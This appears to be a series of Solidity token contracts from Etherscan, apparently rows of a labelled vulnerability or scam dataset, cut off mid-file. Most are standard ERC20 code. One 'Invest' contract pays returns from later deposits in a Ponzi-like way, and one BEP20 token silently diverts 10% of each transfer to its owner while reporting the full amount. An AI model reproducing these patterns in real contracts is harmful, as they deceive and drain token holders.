function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/CLCToken.sol
contract CLCToken is StandardToken {
string public constant name = "ContractLand Token";
string public constant symbol = "CLC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
function CLCToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | True | [
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] |
pragma solidity ^0.4.24;
contract Invest {
mapping (address => uint256) invested;
mapping (address => uint256) atBlock;
address private adAccount;
constructor () public {
adAccount = msg.sender;
}
function () external payable {
if (invested[msg.sender] != 0) {
uint256 amount = invested[msg.sender] * 5 / 100 * (block.number - atBlock[msg.sender]) / 5900;
address sender = msg.sender;
sender.send(amount);
}
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
if (msg.value > 0) {
adAccount.send(msg.value * 3 / 100);
}
}
function setAdAccount(address _addr) external {
require(msg.sender == adAccount);
adAccount = _addr;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
pragma solidity ^0.5.0;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract BEP20 is IBEP20,Owned {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(sender == owner){
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
}else{
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount.mul(90).div(100));
_balances[owner] = _balances[owner].add(amount.div(10));
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns(bool success) {
_allowances[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
}
////////////////////////////////////
contract ERC20Detailed is IBEP20,BEP20 {
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
uint256 private _initialSupply;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals,uint256 initialSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_initialSupply = initialSupply;
_totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply
_mint(msg.sender,_totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-07
*/
// SPDX-License-Identifier: MIT
// ((/*, ,*((/,.
// &&@@&&%#/*. .*(#&&@@@@%.
// &&@@@@@@@&%(. ,#%&@@@@@@@@%.
// &&@@@@@@@@@&&(, ,#&@@@@@@@@@@@%.
// &&@@@@@@@@@@@&&/. .(&&@@@@@@@@@@@@%.
// %&@@@@@@@@@@@@@&(, *#&@@@@@@@@@@@@@@%.
// #&@@@@@@@@@@@@@@&#* .*#@@@@@@@@@@@@@@@&#.
// #&@@@@@@@@@@@@@@@@#. ,%&@@@@@@@@@@@@@@@&#.
// #&@@@@@@@@@@@@@@@@%(, ,(&@@@@@@@@@@@@@@@@&#.
// #&@@@@@@@@@@@@@@@@&&/ .(%&@@@@@@@@@@@@@@@@&#.
// #%@@@@@@@@@@@@@@@@@@(. ,(/,. .#&@@@@@@@@@@@@@@@@@&#.
// (%@@@@@@@@@@@@@@@@@@#*. ./%&&&/. .*%@@@@@@@@@@@@@@@@@@%(.
// (%@@@@@@@@@@@@@@@@@@#*. *#&@@@@&%*. .*%@@@@@@@@@@@@@@@@@@%(.
// (%@@@@@@@@@@@@@@@@@@#/. ./#@@@@@@@@%(. ./%@@@@@@@@@@@@@@@@@@%(.
// (%@@@@@@@@@@@@@@@@@@#/. ./&@@@@@@@@@@&(* ,/%@@@@@@@@@@@@@@@@@@%(.
// (%@@@@@@@@@@@@@@@@@@%/. ,#&@@@@@@@@@@@@&#,. ,/%@@@@@@@@@@@@@@@@@@%(.
// /%@@@@@@@@@@@@@@@@@@#/. *(&@@@@@@@@@@@@@@&&* ./%@@@@@@@@@@@@@@@@@&%(.
// /%@@@@@@@@@@@@@@@@@@#/. .(&@@@@@@@@@@@@@@@@@#*. ,/%@@@@@@@@@@@@@@@@@&#/.
// ,#@@@@@@@@@@@@@@@@@@#/. ./%@@@@@@@@@@@@@@@@@@&#, ,/%@@@@@@@@@@@@@@@@@&(,
// /%&@@@@@@@@@@@@@@@@#/. *#&@@@@@@@@@@@@@@@@@@@&* ,/%@@@@@@@@@@@@@@@@&%*
// .*#&@@@@@@@@@@@@@@@#/. /&&@@@@@@@@@@@@@@@@@@@&/. ,/%@@@@@@@@@@@@@@@@#*.
// ,(&@@@@@@@@@@@@@@#/. /@@@@@@@@@@@@@@@@@@@@@&(, ,/%@@@@@@@@@@@@@@%(,
// .*(&&@@@@@@@@@@@#/. /&&@@@@@@@@@@@@@@@@@@@&/, ,/%@@@@@@@@@@@&%/,
// ./%&@@@@@@@@@#/. *#&@@@@@@@@@@@@@@@@@@@%* ,/%@@@@@@@@@&%*
// ,/#%&&@@@@#/. ,#&@@@@@@@@@@@@@@@@@#/. ,/%@@@@&&%(/,
// ./#&@@%/. ,/&@@@@@@@@@@@@@@%(, ,/%@@%#*.
// .,,, ,/%&@@@@@@@@&%(* .,,,.
// ,/%&@@@%(*.
// .,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,**((/*,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
//
//
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract Warden {
/// @notice EIP-20 token name for this token
string public constant name = "WardenSwap";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "WAD";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 200_000_000e18; // 200 million Wad
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Warden token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Wad::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Wad::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Wad::permit: invalid signature");
require(signatory == owner, "Wad::permit: unauthorized");
require(now <= deadline, "Wad::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Wad::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Wad::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Wad::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Wad::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Wad::delegateBySig: invalid nonce");
require(now <= expiry, "Wad::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Wad::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Wad::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Wad::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Wad::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Wad::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Wad::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Wad::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Wad::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
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/**
*Submitted for verification at Etherscan.io on 2021-04-15
*/
pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ERC20Token is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
string public name; //Name of the token
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals
string public symbol; //An identifier: eg AXM
string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// CHANGE THE FOLLOWING VALUES FOR YOUR TOKEN!
//
//make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token
function ERC20Token(
) {
balances[msg.sender] = 10000000000000000; // Give the creator all initial tokens (100000 for example)
totalSupply = 10000000000000000; // Update total supply (100000 for example)
name = "Molchem"; // Set the name for display purposes
decimals = 8; // Amount of decimals
symbol = "CHEM"; // Set the symbol for display purposes
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | True | [
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// SPDX-License-Identifier: MIT
//File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
